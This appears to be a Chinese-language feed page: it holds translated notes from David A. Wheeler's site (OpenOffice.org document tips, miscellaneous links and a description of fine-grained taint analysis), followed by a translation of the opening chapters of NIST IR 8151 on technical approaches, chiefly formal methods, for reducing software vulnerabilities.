我开发了OpenDocument template for George Mason University (GMU)，她可以帮我自动调整所有格式。这是我可以很轻松地把注意力集中在文字本身而不是格式上。

使用OpenOffice.org或其他文字处理软件编写大型文档最重要的规则是尽可能自动处理所有东西，尤其是要使用样式。永远不要手动设置大段文字的字体大小，字体类型等等（只有一个例外，可以用斜体或粗体设置强调的文字）。相反，所有的格式信息都应被放在段落样式里，然后确保每一段都应用这些样式。使用”Text body”（而不是”Default”）来设定正文字体，各种”Heading1”，”Heading2”等等样式来设定各种标题。类似的，使用插入>交叉引用（Insert > Cross-Reference）来引用其他文章的段落，这样的话，程序就可以正确地为他们重新编号。

OpenOffice.org可以让用户控制一行内的单词断开的方式；关于这个的更详细功能可以参考“Easy way to insert nonbreaking hyphen, etc. in OpenOffice.org Writer” (作者Solveig Haugland)。基本上，可以在工具>选项>语言设置>语言（Tools > Options > Language Settings > Languages）中选择”开启复杂文本结构”（”Enabled for Complex Text Layout”）选项来获得更多关于断字的选项。”宽度不够则不断开”（”no width no break”）的字符，也叫”胶水”字符，把它两边的字符”粘”在一起，以防止在此换行断开。类似的，”宽度不够可选断开”（”no width optional break”）字符则会在原来一般不会断开的地方通知OpenOffice.org可以插入换行。你也可以插入非换行空格，非换行连字符和可选连字符。

大多数情况下，段落样式应该让段落用正确的方式跨页断开（例如，段落样式应该有合理的默认”单行”或”孤段”的设置，标题段落样式应该有”和下一段一致”的设置）。但是在某些情况下，段落不会合适地跨页断开，因为程序并没有很好地”理解”文本。例如，如果文本和下一段对应，可能需要右键单击那一段，并且设置”和下一段一致”。在某些特殊情况下可能也需要设置不同的”单行”或”孤段”的设置。

OpenOffice.org支持公式，这是我常用的功能。例如，他的”栈”和”矩阵”选项对于多行公式来说有时非常好用。对于单行公式，我推荐将公式边框设置为0。你可以在编辑公式的时候选择公式>间距，边框（Format>Spacing, category Borders），然后将所有的边框宽度设置为0（我建议将这个设置为默认）。否则，当尝试组合公式的时候，公式中会有额外的空格，使它们看起来很怪异。

在最终版本中，我使用工具>更新所有（Tools > Update All），这样可以更新所有的目录和交叉引用等等，移动到文档的开始部分，并且保存，然后点击文件>导出为PDF（File > Export as PDF）。

杂项

在无数乏味的编译工作之后，Xkcd关于编译的漫画终于使我展颜舒眉。halting problem解决的图示也和之相关:-)。

Dilbert也提到了很长的编译时间：Dilbert 2013-06-22Dilbert 2005-09-23Dilbert 1998-06-21。Dilbert曾经注意到”也许编译器本身有个bug”。Dilbert还说明了为什么软件单源策略不好。

我给出了一个简单可读的Lisp s表达式的例子；可读的Lisp s表达式项目对于curly-infix表达式有规范和实现。

neoteric表达式和sweet表达式可以让Lisp符号更易读懂。

Mortality.pvs是一个简短的演示，演示了如何用PVS表达”所有男人都是凡人”的例子。

点击链接进入在SGI IRIX上安装gcc的说明。

ERESI（ERESI逆向工程软件接口）是一个”基于可执行和链接格式（ELF）的针对操作系统的统一的多体系结构二进制分析框架”。developerworks关于ELF有一篇很好的文章。Brian Raiter写了Elfkickers，他还写了A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux和Albert Einstein’s Theory of Relativity: In Words of Four Letters or Less。这篇早期的文章分析了ELF的优点。

我试图确保这篇文章能够尽量保存得久一些。这是我的论文“Fully Countering Trusting Trust through Diverse Double-Compiling的GMU页面，还有“Fully Countering Trusting Trust through Diverse Double-Compiling”的arXiv.org副本和我的博士论文”Fully Countering Trusting Trust through Diverse Double-Compiling”的UMI ProQuest副本（通过ProQuest搜索）。Archive.org也有副本。这些都是额外的副本，内容相同。我提交的pdf属性如下：

标题 Fully Countering Trusting Trust through Diverse Double-Compiling 作者 David A. Wheeler 日期 2009 秋季学期 (实际上是 2009-11-30) 文件名 wheeler-trusting-trust-ddc.pdf 长度 1,971,698 字节页数 199 MD5 hash 5320ff082ec060e7f58409b3877cb687 SHA-1 hash 20c8b702dd4b7c6586f2 59eb98f577dbadd359dd SHA-256 hash 024bccc5254eaffe9466f12afe39f72b 154f63a6919f4e1add5d0513092b2052 SHA-512 hash 0004998431af5da486a87794969a5314 07cb607ffc411c966a23343a58636c20 72ceb85835ffe6eef727696ffc41b1dd d6d9e0fd090cbc85a33041c25acd2e55 —————— ————————————————————————————————————————————-

微污染

另外：在ACSAC 2005上，Aleks Kissinger（来自塔尔萨大学）也介绍了他和我在微污染方面所做的工作。由于这似乎已经从网络上消失了，我想我应该在这里简要描述一下。

Aleks的演讲题目是”Fine-Grained Taint Analysis using Regular Expressions”，这是正在进行的工作的一部分。基本上我们注意到，不是为一整个值（如字符串）分配”污点”，您可以对子组件（如每个字符）分配污点。然后，您可以位识别输入路径和可能进来的东西分配规则（通常为零个或多个污染字符），同样还有输出路径规则。我们聚焦在为那些合法的东西定义正则表达式，不过任何其他表达式模式，例如BNFs也可以。我们注意到，你可以静态或动态地进行检查。对于静态情况，当您后向检查时，如果检查”失败”，您甚至可以轻易地导出导致安全故障的输入模式（从这些信息，应该很容易找到修复方案）。

Aleks最近通过将正则表达式转换为DFA而取得了一些进展。还有另一个关于使用Java进行污点分析的ACSAC演示，但这是在许多语言中使用的传统的”整个变量”方法，但是许多漏洞是通过这种方法实现的。我们希望这种微污染方法能够在软件交付给最终用户之前，改进软件中检测安全漏洞的工具。

弗吉尼亚大学（UVA）在进行一些我们知道的相关工作，不过我们只是通过我们的网络（通过Usenix）半路发现的。关于UVA工作的更多信息在Anh Nguyen-Tuong，Salvatore Guarnieri，Doug Greene，Jeff Shirley和David Evans的”Automatically Hardening Web Applications Using Precise Tainting”中。

他们专注于PHP，并且只关注动态情况; 我们对两者都感兴趣，但对静态情况（某些漏洞永远不会发生，因此不需要任何运行时开销来处理它们）尤其感兴趣。

其他相关工作包括BRICS Java字符串分析器（GPL;使用BSD许可的dk.brics.automaton）。Hampi可能能够静态地实现这一点，这很厉害。

在数据流，静态类型和安全性方面的工作有着悠久的历史（如Dennis Volpano等人的工作）。他们做的很好，但和我们的关注点有些偏差。这些工作倾向于将变量视为一个整体，而我们正在跟踪更小的数据单元。我们还跟踪包含具有不同安全级别的数据的序列（如数组），大多数这样的工作把数组作为单一的单位处理（这是一种简化的，从根本上与我们的方法不同）。

在这里可以看到我的教育经历，我的关于安全软件的书籍，FlawFinder，和我的主页。

NIST IR 8151: 显著减少软件漏洞——致美国白宫科技政策办公室

Fri, 05 Jul 2019 00:00:00 +0000

NIST 跨部门报告 8151

显著减少软件漏洞——致美国白宫科技政策办公室

Paul E. Black，Lee Badger，Barbara Guttman 和 Elizabeth Fong 著

信息科技实验室

此出版物可从此处免费获得：

https://doi.org/10.6028/NIST.IR.8151

2016 年十一月

美国商务部秘书 Penny Pritzker

美国国家标准技术研究所标准技术商务次长兼主任 Willie May

美国国家标准技术研究所跨部门报告 8151，64 页（2016 年十一月）

此文档中可能会提到某些商业实体、设备或者器材以便充分地描述某种试验程序或者概念。这样的提名的本意并非暗示 NIST 对其的推荐或认可，也非暗示这些实体、器材或者设备一定是可用于该目的之最好的。

此文档中可能会有对于 NIST 的当前正在开发中的其他出版物的引用，以便符合其被赋予的法定责任。此出版物中的信息，包括概念和方法论，可以被联邦政府机构使用，即使是在这些附带的出版物完成之前。因此，直到每部出版物完成之前，当前的要求、指导意见和过程在其所存在之处仍然有效。关于计划和迁移的目的，联邦政府机构可能想要紧密跟踪由 NIST 提供的这些新出版物的进展。

我们鼓励组织机构在公开评论期间审阅所有出版物草案，并且向 NIST 提供反馈。除了上述出版物以外，NIST 的众多计算机安全出版物可以从 https://csrc.nist.gov/publications 获取。

关于此出版物的评论可以被提交至：

美国国家标准技术研究所

收件人：计算机安全分部，信息科技实验室，办事处大道 100 号（8930 邮递点），盖瑟斯堡，马里兰州 20899-8930

邮件：paul.black@nist.gov

所有评论必须在美国信息自由法（FOIA）条款下发布。

摘要

对于显著减少软件漏洞的诉求发出自众多来源，从最近的 2016 年二月发布的美国联邦网络安全研发战略计划开始。此计划以描述众所周知的危险性开始：当前的系统正在执行着越来越关键的任务，并且其存在漏洞这一点广为人知。这些漏洞通常不易发现并且难于修复。网络安全并未跟上步伐，并且所需的步伐正在快速加速。此报告的目的是呈现一系列特定的技术方式，它们拥有在减少漏洞方面发挥显著作用的潜力——通过在漏洞发生之前阻止它们、在漏洞被利用之前发现它们，或者降低漏洞所造成的影响。

关键字

测定；度量；软件担保；软件措施；安全漏洞；减少软件漏洞

致谢

非常感谢 Rajeev Joshi（rajeev.joshi@jpl.nasa.gov），由于其对第 2.3 节“附加软件分析技术”的贡献。

同样感谢来自麻省理工学院林肯实验室的答辩、研究和工程助理秘书办公室的合同官 W. Konrad Vesey（william.k.vesey.ctr@mail.mil），由于其为第 2.5 节“移动目标防御（MTD）”和“自动软件多样性”提供的素材，大量词句直接来自作者同他的私人通讯。

我们感谢 Terry Cohen、Mark Cornwell、John Diamant、Jeremy Epstein、D. Richard Kuhn、Andrew Murren、Kenneth S. Thompson、Jan Vandenbos、David Wheeler 和 Lok Yan，由于他们的大量评论和建议极大地改进了此报告，我们还要感谢众多提出了改进意见、提问了问题并且提交了评论的其他人。

第 1 章简介

对于显著减少软件漏洞的诉求正在发出自众多来源，包括 2016 年二月发布的美国联邦网络安全研发战略计划 [FCRDSP16]。此计划以描述众所周知的危险性开始：当前的系统正在执行着越来越关键的任务，并且其存在漏洞这一点广为人知。这些漏洞通常不易发现并且难于修复。网络安全并未跟上步伐，并且所需的步伐正在快速加速。此计划定义了近期、中期和长期的目标。此报告解决的是首个中期目标：

取得 S&T [科技] 进展以逆转对手的非对称优势，通过开发和运行具有可持续的安全性的系统……这一目标是双管齐下的：首先是对于恶意网络活动（例如普遍存在的软件缺陷所引起的众多漏洞）具有高度抵抗力的软件、固件和硬件的设计和实现……

“漏洞”一词具有众多不同的定义，它们覆盖了不同的概念的组合，包括知识、攻击、可利用性、风险、意图、威胁、范围，以及引入的时间等。出于此报告的目的，我们将漏洞定义为可以被无意或者有意利用，并且导致对于理想的系统属性的侵犯的一个或者更多弱点。弱点是指系统的要求、设计或者实现中的不理想的特性 [Black11a]。这一定义排除了：

手动配置或者操作的错误，诸如将某个程序安装为世界可读取，或者为管理员访问设置平凡的口令
局中人的不法行为，诸如 Edward Snowden 的秘密潜出
功能 bug，诸如混淆 SI（国际单位制）和英制单位，这导致了 1999 年的火星气候探测者号失事 [Oberg99]
在常规代码中故意引入的恶意软件或者导致损坏的“不良特性”，诸如允许 root 访问，如果用户名是“JoshuaCaleb”，以及
作为输入过滤或者其他化解措施的结果而不能（由“局外人”）利用的软件弱点

在定义软件漏洞，对其进行分类并且理解它们等方面已经实现了重大跨越。此外，在对软件社区进行关于漏洞、相关的补丁以及底层的弱点的教育中也已经实现了重大跨越。然而，此作品是不充分的。大量漏洞被程式化地发现，众多漏洞多年以来未被发现，并且补丁经常未被应用。很明显，一种不同的方式——依赖于改进软件的方式——是必需的。

强化保护要求增加这样的担保，即人们所开发和部署的产品对于恶意网络活动具有高度抵抗力，由于它们只包含极少的漏洞…… [FCRDSP16, p. 17]

1.1 报告的范围

此报告的目的是呈现一系列特定的技术方式，它们拥有在减少漏洞方面发挥显著作用的潜力——通过在漏洞发生之前阻止它们、在漏洞被利用之前发现它们，或者降低漏洞所造成的影响。

“在漏洞发生之前阻止它们”通常包括用于具体说明、设计和构建软件的改进方法
“发现漏洞”包括更好的测试技术以及对于多种测试方法的更有效的利用
“降低漏洞的影响”指的是用于构建更具弹性的架构的技术，以使得漏洞不能被用于造成重大伤害

此报告并未将这些方法分割为 3 块，由于某些方法可能包括来自多个方面的内容。此报告中的方法列表并不完备，它们的本意是为了展示范围宽泛的方法是如何能够产生某种重大影响的。新的方法将会持续被开发出来并且投入一般应用。

用于减少漏洞的方法列表专注于满足以下 3 个判据的方法：

显著的影响
3～7 年的时间框架，以及
技术活动

显著：这意味着这些方法广泛适用并且能够为将漏洞减少两个数量级这一目标作出重大贡献。在常规软件的情况下，这一数值的估计高达每 1000 行代码中包含 25 处错误 [McConnell04, p. 521]。将近 2/3 的漏洞来源于简单的编程错误 [Heffley04]。这些方法被选择以实现这样一种可能性，即增强将此类软件代码控制在每 100000 行包含 25 个错误以内这一雄心壮志，并且实现其他类别的软件中的相应的错误减少率。（在当今的航空航天行业，接近零错误的系统被程式化地制造出来，但是其成本数倍于常规软件。）要想确定某种方式是否能够带来显著的影响，需要有能力以测定它。测定软件质量是一项困难的任务。关于改进软件漏洞测定方法的并行努力正在进行中。

3～7 年的时间框架：之所以选择这一时间框架，是由于它足够长远，以允许作出显著改变，基于那些并未达到实现其影响的全部潜力的程度的现存技术。这是一个可以合理地思考的时间框架。如果超过了这一时间框架，要想预测哪些新技术将会被开发出来，并且潜在地对于信息科技将会被如何使用这一点作出其自身的一套显著的改变，这件事过于困难。在不远的未来，强调的重点将会是实施那些已经部署的技术，诸如在安全的软件开发和测试中的工作。已经部署的技术和未来的技术之间的分界线并不脆弱。如果某项技术被广泛应用，或者被主要的软件开发者所使用，它并未被包括进来，尽管此技术的更加广泛的采用将会是有益的。

技术性：有众多不同类型的方式以减少软件漏洞，它们中的很多主要来说并非技术性的——从帮助用户有意义地请求得到安全性，到资助研究和运行活动以及训练设计、构建、测试和使用软件的所有这些相关方。在此报告的开发过程中，很多理念被推进到这步阔步跨越以外。此报告只是应对了技术性的方法，以获得可管理的范围，这一范围构建于开发此报告期间的可用专业技能之上。这些其他领域也很重要。

在此报告的草案阶段，众多不在此报告的范围之内的优秀想法被提了出来，并且在第 4 章总结出来。这些活动的范例包括：

改进的资助
改进教育
对于对软件的理解的不同方面的更多研究
对于大规模挑战和竞争的增加利用
为软件消费者提供更好的方法以对低漏洞的软件进行请求和评估
责任和标准，以及
威胁分析

此报告排除了一段关于硬件漏洞的讨论。这并不是说它并不重要。这些内容可以在另一篇报告中解决。此报告针对范围宽泛的软件，包括政府合同软件、私有和开源软件。它覆盖了用于通用目的、移动设备以及嵌入在家电和设备中的软件。其目的是防止新代码中的漏洞，以及识别并修补现存代码中的漏洞。

1.2 发现

尽管减少软件漏洞是一个困难的问题，并且很明显地需要技术、操作、管理、心理和文化等方面的改变相配合才能解决此问题，想要引起显著的改变仍然是可能的。此报告描述了 5 种中期方法，它们拥有潜力以解决此问题的技术方面。此处所包括的方式并非一个完整的列表；它们代表了范围宽泛的潜在方法，并且强调了减少软件漏洞可以如何实现。所有这些方法将会要求改进的研究基础设施，包括显著改良的度量方法。如同注释的那样，它们就其自身而言不能取得成功，并且需要被整合到更大的软件开发者和用户社区之中。更进一步地，此报告并不专注于已经投入大规模使用的安全的软件开发的当前趋势。

1.3 受众

此报告的主要受众是美国白宫科技政策办公室（OSTP）。可以预期的是，其他政策实体、资金提供者和研究人员也会发现此报告有用，由于他们将会考虑投资和项目以改进软件质量。由于此报告专注于 3～7 年的时间框架，它的本意并非作为软件开发者的指南。

1.4 措施

有多种努力以定义软件漏洞、它们的流行度、它们的可检测性，以及检测和化解技术的效率。测定软件的能力可以在显著减少软件漏洞中发挥重要作用。业界要求关于这样的漏洞的严重程度的证据，以及关于确定哪些技术对于开发具有显著减少的漏洞的软件最为有效的知识。有了可以发挥市场信号作用的有效措施，业界就可以倾向于并且选择低漏洞的软件，并且因此鼓励更好的软件的开发 [Grigg08]。更进一步地，以及更加关键的是，业界要求关于识别在代码中部署化解措施或者其他行为的最佳位置的指导。这些证据来自于在最宽泛的意义上测定或者评估软件的属性。

1.5 方法论

为了编纂这些方法的列表，科技政策办公室（OSTP）请求 NIST 领导一支基于社区的力量。此报告的开发历时 8 个月，鉴于时间框架的压缩，此报告的关注焦点被限制为上述判据，以强调出有前途的方法，而非进行一整套分析。NIST 咨询了来自下列软件担保社区的多位专家：

两次由 OSTP 组织的跨部门圆桌会议
软件和供应链担保（SSCA）夏季论坛中的半天时间的议程
关于减少安全漏洞的软件措施和度量的全天研讨会
关于减少软件缺陷和漏洞的两天时间的研讨会，此研讨会由网络和信息科技研发（NITRD）计划中的软件生产力、可持续性和质量（SPSQ）工作组组织，以及
2016 年十月 4～18 日的公开评论

1.6 报告的组织

此报告被组织为两个主要章节。第一个主要章节是第 2 章，它枚举了技术方法，以及第二个主要章节，第 3 章，它解决了相关措施。

第 2 章分为关于应对软件中的漏洞的各个技术方法的小节。这些小节包括形式化方法，诸如可靠的静态程序分析、模型检查器以及布尔可满足性问题（SAT）求解器。它还建议拥有经过验证的工具和代码的目录。这一章解决了系统层级的安全性，包括操作系统容器和微服务。附加软件分析技术也得到了解决。最后，它讨论了移动目标防御（MTD）和自动软件多样性。这些包括编译时技术、系统或者网络技术，以及操作系统技术。

每个小节遵循相同的格式：

定义和背景：对此领域及其背景的定义
成熟度级别：此领域有多么成熟，包括关于此方法已经被应用于“真实世界”还是仅存于实验室中的讨论，以及与可放大性和可用性相关联的话题
可信度的基础：关于为何此方法能够发挥作用的理论基础
潜在影响的理论基础，以及
延伸阅读，包括论文和其他素材

第 3 章覆盖了软件措施，它被设计为鼓励采用测定和工具以解决软件中的漏洞。它解决了产品措施以及如何开发更好的代码。它也解决了关于软件安全性和质量措施的关键性的问题。

在这两个主要章节之后是第 4 章，关于跨领域的问题，诸如雇佣研究社区、教育以及载体以使得这些技术方法能够转化为一般应用，以及第 5 章中的参考文献。

第 2 章技术方法

有众多具有不同成熟度等级的方法展现出了对于减少软件漏洞数量的巨大潜力。此报告突出强调了其中 5 种足够成熟并且被证明为成功的方法，因此有可能将其外推到 3～7 年的视界中来。此列表的本意并非穷尽性，而是为了展示在减少漏洞方面取得显著进展是可能的，并且为了取得这一充满雄心壮志的目标铺平道路。SPSQ 研讨会的重要主题之一是这样一种需求，即不仅仅要改进软件，还要通过应用形式化技术来改进测试工具。

2.1 形式化方法

形式化方法包括基于数学和逻辑的所有软件分析方法，包括语法检查、类型检查、正确性证明、基于模型的开发，以及自动建构校正等。形式化方法可以帮助软件开发者取得关于整个类别的漏洞都不存在的更大的担保，并且还可能有助于减少不可预测的昂贵的测试和 bug 修复周期。

在编程的早期，某些实践者证明了他们的程序的正确性，即给定语言语义，他们从逻辑上证明了他们的程序具有某些属性或者能够得到某些结果。随着软件的应用爆炸式增长，以及程序变得如此之大，以至于单纯的手动证明变得不可行。形式化正确性参数不再流行。近几十年的发展，诸如由摩尔定律预测到的处理能力的激动人心的增长、多核处理器以及云计算，使得随时可用的计算性能增加了好几个数量级。用于求解布尔可满足性（SAT）问题、可满足性模数理论（SMT）[Bjørner16]、决策过程（例如有序二元决策图——OBDD）以及推理模型（例如抽象的解读和分离逻辑）等问题的算法的进展极大地削减了回答这些关于软件的问题所必需的资源。

关于使用形式化方法以实现大幅减少漏洞的早期努力之一是 20 世纪 80 年代美国国防部的可信计算机安全性评估判据（TCSEC）。TCSEC 详细叙述了多个层级的软件担保。其最高层级 A1 要求对于系统的形式化说明以及对于代码和说明之间的相关性的数学证明。成功的定理证明工具被开发出来，并且若干种经过形式化证明的系统被制造出来，但是实际使用所必需的代价和时间令人难以接受——多达 2 年。

到了 20 世纪 90 年代，形式化方法得到了这样的名声，即消耗太长太长的时间，不论是机时、人年还是项目时间，并且需要计算机科学的博士学位，还要懂得数学才能利用它们。现在的情况已经不尽如此。今天，形式化方法被普遍使用。例如，编译器利用 SAT 求解器以分配寄存器并且优化代码。操作系统利用形式化保证的算法以避免死锁。Kiniry 和 Zimmerman 称这些为“隐秘忍者式的形式化方法”[Kiniry08]：它们对于用户不可见，除非是报告某些东西不正确。与这些“不可见”的形式化方法的使用相反的是，显式的使用通常要求将问题重新呈现为某种与形式化方法工具兼容的形式。

显式形式化方法在机动车 [ISO26262-6] 和铁路 [Boulanger15] 标准中被推荐。形式化证明技术显著减少了取得由空运标准 DO 178B 所定义的目标所需付出的努力 [Randimbivololona99]。其继任者 DO 178C 拥有一整套补充：DO 333，它专门针对将形式化方法用于软件验证。大多数被提议的密码学协议现在经过模型检查器检查以查找可能被利用的漏洞，并且分析者可以执行实现了密码学算法匹配规范的几乎完全自动化证明 [Carter13]。实践者们还利用模型检查器以查找网络中的攻击路径。

抛开它们的长处，如果对于软件要求没有明确的声明，或者到底是哪些东西构成了恰当的软件行为这一点只能通过人类判断或者平衡众多相互冲突的因素来确定，则形式化方法不那么有效。因此，我们将不会期待形式化方法对于评估用户界面的可用性、部署探索性的软件，或者非结构化的问题作出那么大的贡献。

形式化方法包括软件开发的所有阶段以及众多不同应用领域的众多技术，我们不能列出每一种潜在地有帮助的形式化方法。与之相反，我们专注于可能在中期作出显著贡献的少数方法。

2.1.1 可靠的静态程序分析

静态分析是在不执行软件的情况下对其特定属性进行检查的过程。出于我们的目的，我们只考虑自动化的分析。启发式分析比可靠性分析更快，但是缺少来自于逻辑推理链的担保。有些问题只能通过在分析的条件下运行软件，即通过动态分析来回答。结合静态和动态分析将会得到一种混合技术。特别地，通过执行软件可以得到关于那些不能仅仅利用静态技术来确认的属性的存在性证明。

软件的众多呈现形式（例如系统要求、架构、源代码和可执行文件）可以进行静态分析。然而，源代码分析是最成熟的。源代码分析的优势之一在于，在源代码中识别出来的问题的上下文可以通过熟悉的呈现形式传递给软件开发者：代码本身。如果其他呈现形式被分析，则需要额外的步骤以将报警信息转化为某种形式，人们可以首先理解它，并且随后将其与分析中的程序相关联。

根据 Doyle 的评估，可靠的静态分析在覆盖度、可缩放性和付出努力的回报等方面均优于当前的软件开发实践 [Doyle16]。我们相信其限制之一是某些属性难于通过可用的概念来叙述。

形式化描述和可靠的静态分析在近年来已经展示出显著的适用性。例如，Tokeneer 项目展示了利用形式化方法开发软件比传统软件开发技术更快、更廉价，并且具有更少的 bug [Barnes06, Woodcock10]。TrustInSoft 利用 Frama-C 以证明 PolarSSL 中不存在一系列通用缺陷列表（CWE）中的类，它现在称为 mbed TLS [Bakker14, Regehr15]。Ourghanlian 比较了 PolySpace 验证器、Frama-C 和 Astrée 的应用以评估核电站中的安全关键软件 [Ourghanlian14]。可靠的静态分析和其他形式化方法被广泛应用于不限于交通运输、航空航天、核电站控制等领域的软件开发 [Voas16b]。

这些进展体现出了静态分析的众多应用中的少数。更进一步，静态分析拥有这样的潜力以有效地排除新开发的软件中的若干类错误，并且减少与通过测试达到更高层级的担保所需资源相关的不确定度。

2.1.2 模型检查器、SAT 求解器和其他“轻量级”决策算法

这些算法可以解答关于理想的更高层级属性的问题，诸如某个协议仅在某人拥有某个密钥的情况下允许读取敏感文本、安全属性由系统预留、某项赋值满足多个限制条件，或是没有途径通过（已知的）攻击进行突破。这些算法也可以被应用于分析具体的设计产物，诸如有限（以及无限）状态机。

Doyle 的评估结论是，模型检查器可能拥有优异的覆盖度，很多属性可以被呈现 [Doyle16]。然而，由于所需的努力随着问题大小呈指数增加，总会有某个事实上的大小限制。小于该限制的问题可以被快速求解。非常大型的问题可能要求额外的资源或者密集的人力以便将此问题分解为合理的部分。

这样的技术实质上可以通过两种方式应用。其一，它们可以被用作生产中的软件的一部分。例如，与其使用某种临时安排的程式以便为一台运输卡车查找一条高效的路径，某个应用程序不如使用已有深入研究的旅行推销员或者生成树算法。其二，可能也是与此报告的主题更加相关的方式是使用这些方法来设计或者验证软件。

2.1.3 断言、先决条件、后置条件、不变量、切面和契约

程序员通常拥有一个信息体以为其提供关于软件将会按照预期执行的信心。形式化方法中的一个被忽略的部分是无歧义地记录这些洞察力。变量拥有不同的术语，诸如契约、断言、先决条件、注释、后置条件和不变量等。这可能会使得程序员花费额外的思考以使用某种类似于代码表达式的语言来精确地叙述将会发生什么，但是这样地声明是会带来帮助的。诸如由反例指导的抽象详细化（CEGAR）等自动化辅助工具可以帮助生成声明。这些声明在开发和测试过程中被激活（“编译进来”），然后可以在发布之前取消激活。

这种方式的好处是，关于代码中具有的属性的形式化声明可以被用于对代码进行交叉检查。例如，测试可以通过断言直接生成。它们可以被激活以便在测试或者生产过程中执行内部一致性检查。由此可以使得错误被检测出来的时间大大提前，并且距离出错的代码更近，而非不得不从外部可见的系统故障进行回溯。基于断言的测试可以检测出具有适当的覆盖度水平的输入空间中的多达 90% 的错误 [duBousquet04]。这样的声明还提供了额外的信息以执行关于程序正确性的半自动的证明。与在代码更改时不会被更新的注释不同的是，这些声明可以被计算机证实或者强制实施，并且因此必须持续成为关于程序特性和属性的准确声明。

关于这样的形式化声明可以如何带来帮助的一个令人印象深刻的例子是 1996 年的阿丽亚娜-5 运载火箭首次发射失败。阿丽亚娜-5 使用了来自取得成功的阿丽亚娜-4 的软件。当阿丽亚娜-4 被设计之时，分析显示 16 位整数能够处理其速度。然而，阿丽亚娜-5 的更高的速度使得该变量溢出，导致计算机关机以及运载火箭失事。如果其代码拥有关于其速度必须能够适配进 16 位整数的先决条件，“任何称职的团队将会检查……[此先决条件，它] 将会立即提示阿丽亚娜-5 的调用软件并不满足它所调用的阿丽亚娜-4 例程的预期” [Jézéquel97]。

2.1.4 自动建构校正和基于模型的开发

在基于模型的开发中，软件开发者创建并且修改系统的模型。其行为可以在某种更高级或者领域特定的语言或者模型中说明，随后其代码被自动生成。大部分或者全部代码是从模型生成的。这是一种自动建构校正技术。此技术和诸如详细化设计等其他技术致力于完全避免整类漏洞，由于开发者极少接触代码。与此类似的代码合成相对于其他形式化方法适用于较少的情况，由于这对于为某些领域开发建模超结构和代码生成器是不可行的，例如，某种具有错误恢复和帮助提示的用户界面。这样的模型或者规范还可以生成测试套件或者准则。它们还可以被用于验证或者监视系统运行。

如果分析者能够指定整个系统，或者哪怕只是子系统的完整的高层级模型，我们就称此模型为“领域特定语言”（DSL），并且不再认为它值得一提。这代表了形式化方法的一种实质性的应用。根据 Doyle 的评估，程序合成在覆盖度方面等级为“A+”，而在努力和属性方面等级为“B”[Doyle16]。

2.1.5 经过验证的工具和代码目录

软件开发者通常必须花费大量努力以便将具有已证明的属性的工具或者开发程序认定为合格。即使如果后期的开发者想要使用这样的工作成果，也没有中央结算机构可供咨询。关于经过验证的工具、精心构建的库，甚至是可重复使用的规范和要求都能够加速形式化方法的采用。这样的工具库可能有助于具有显著减少的漏洞数量的软件的更宽泛使用，并且具有随之而来的担保。

众多企业和政府机构评估用于类似用途的相同的工具或者软件。由于可能难以发现谁已经完成了相关评估，每一家实体都必须重复此工作，有时它们的知识和细致程度还不如其他实体已经投入的。这特别具有挑战性，由于众多合同条款阻碍分享成果 [Klass16]。一份库或者列表将会带来巨大利好。一旦得知相关的努力成果，开发者可以为一项努力成果作出贡献，而非从事他们自己的努力。作为某个库的代码或者“即时”实例化成果，开放式网络应用程序安全计划（OWASP）基金会协调组织了一个项目以开发一个囊括了关键安全性操作的应用程序接口（API），它称为企业安全性 API（ESAPI）。

参见 2.4 节以获得关于经过良好测试和良好分析的代码的重复利用的讨论。

2.1.6 网络加固：使形式化方法发挥作用

上述技术可以被用于开发软件，然而，重制所有遗产软件是不可行的。这被称为“网络加固”，以同旨在获得对于地震的更高抵抗力的“抗震加固”相类比 [Fisher16]。第一步是识别现存系统中最具决定性、关键性或是基础性的组件。SPSQ 研讨会参与者还强调了将形式化方法用于关键模块而非整个应用程序。除了基于目的编写的代码以外，关键组件还可以是编译器或者运行时库。这些组件随后利用适当的形式化方法仔细检查或者重建以获得更高层级的担保，如同在 PolarSSL 中所进行的，它现在称为 mbed TLS [Bakker14, Regehr15]，继 Heartbleed 或者 CompCert 验证 C 编译器之后 [Leroy06]。

网络加固中的另一个小步骤是在具有自动强化或者加固的情况下重新编译组件。例如，编译器可以在每当可能时对所有的内存访问添加边界检查，以极大地减少未被识别的缓冲区溢出（BOF 类）的数量 [Bojanova16]。这样的强化几乎没有任何性能影响 [Flater15]。编译器还可以利用更为安全的“加强”函数来替换典型的不安全函数，并且可以利用可执行空间保护，例如将用于数据的内存区域标记为不可执行。

2.1.7 成熟度水平

今天，形式化方法在全世界被使用，通常是相对地隐秘的。最为普遍的应用之一是现代编程语言中的强类型检查，这是一种形式化方法。其他尽管有限的应用包括不同软件检查工具的算法，它们中的某些被构建到广泛使用的开发环境中（例如标记出对变量的不一致使用、缺失的值或者不安全接口的使用）。在 2010 年，澳大利亚国家信息通讯科技卓越研究中心（NICTA）的研究人员展示了对于包含约 10000 行 C 代码的 seL4 微内核的形式化验证 [Klein14]。英国国家航空交通服务控股公司（NATS）的临时未来领域控制工具支持（iFACTS）包含超过 200000 行 SPARK 代码，并且“所有代码更改必须被证实为良好，然后代码才能被提交”[Chapman14]。

2.1.8 可信度的基础

断言、契约、不变量以及其他形式化声明在高质量软件中已经得到大量采用。它们之所以得到逐渐改进以涵盖更多高级条件和 API 检查，是由于它们已经在开发者社区中证明了自己的价值。例如，源代码注释语言（SAL 2.0）在微软 Visual Studio 2015 中可用。众多工具现在可以执行静态分析。一种自然的发展趋势是不断提升更多高级形式的静态和混合分析。基于诸如先决条件和后置条件的满足性以及随码证明等技术的软件证明已经在关键软件中开始得到采用 [Souyris09]。它们要求更多的努力和成本，然而，在某些案例中，它们被证明为在长期具有成本高效性：在 1/3 的应用中具有开发时间和成本方面的改进，而对于已部署的系统只需较少的修补甚至不需要修补 [Woodcock09]。

2.1.9 潜在影响的基本原理

最大的潜在影响可能在于避免了那些随着时间演进会被严重依赖的组件的成本。Heartbleed 漏洞是一个例子，关于较小的代码基具有过大的重要性：对于形式化方法的明智使用可能会在一上来就避免此问题。通常，诸如那些可以利用形式化方法制造的高质量软件可以被用于降低软件组件的长期维护和替换成本。不像物理系统那样发生磨损并且最终失效，软件系统只会在它们本身不正确，并且其瑕疵被诸如特定的输入序列或者组合等环境因素触发时才会失效 [Woody14]。

2.1.10 延伸阅读

[Armstrong14] Robert C. Armstrong, Ratish J. Punnoose, Matthew H. Wong and Jackson R. Mayo, “Survey of Existing Tools for Formal Verification,” Sandia National Laboratories Report SAND2014-20533, December 2014. Available: http://prod.sandia.gov/techlib/access-control.cgi/2014/1420533.pdf Accessed 12 October 2016.
